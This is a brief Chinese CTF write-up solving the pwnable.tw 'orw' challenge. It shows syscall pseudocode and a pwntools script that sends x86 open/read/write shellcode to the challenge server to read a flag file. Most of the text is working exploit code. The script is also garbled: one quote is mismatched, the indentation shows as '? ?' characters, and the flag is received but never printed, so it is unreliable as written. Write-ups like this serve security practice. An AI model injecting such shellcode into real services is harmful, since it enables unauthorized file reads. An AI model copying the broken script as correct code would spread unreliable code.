這題還是比較簡單的
題目的描述看 顯然是要寫shellcode來讀flag文件
binary會直接執行寫入的shellcode
偽代碼
char*file='home/orw/flag';
sys_open(file,0,0);
sys_read(3,file,0x30);
sys_write(1,file,0x30);
系統調用的參數詳見這里
然后就相當于用匯編構造出這些函數,可能需要對x86匯編有一些基本的了解
利用腳本
from pwn import *
context.log_level="debug"
s = remote('chall.pwnable.tw',10001)
shellcode = ''"
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
def pwn():
? ? recv = s.recvuntil(':')
? ? print recv
? ? s.sendline(shellcode)
? ? flag = s.recv()
pwn()